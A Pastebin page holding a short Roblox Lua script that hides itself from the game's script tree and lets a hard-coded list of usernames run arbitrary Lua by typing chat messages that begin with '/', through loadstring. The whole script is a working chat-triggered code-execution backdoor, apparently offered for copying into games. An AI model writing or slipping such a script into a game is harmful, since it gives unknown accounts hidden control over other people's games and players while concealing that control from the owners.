Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- script.Parent = nil -- Protects the script
- local PlayersService = Game:GetService('Players')
- local ADMIN_LIST = {
- fartfart1555 = true,
- mathkid234 = true,
- Games = true
- }
- local function OnAdminChatted(message)
- local command, n = message:gsub('^/', '', 1)
- if n == 1 then
- pcall(function()
- loadstring(command)()
- end)
- end
- end
- local function OnPlayerAdded(player)
- if ADMIN_LIST[player.Name] then
- player.Chatted:connect(OnAdminChatted)
- end
- end
- PlayersService.PlayerAdded:connect(OnPlayerAdded)
- for _, player in pairs(PlayersService:GetPlayers()) do
- OnPlayerAdded(player)
- end
Add Comment
Please, Sign In to add comment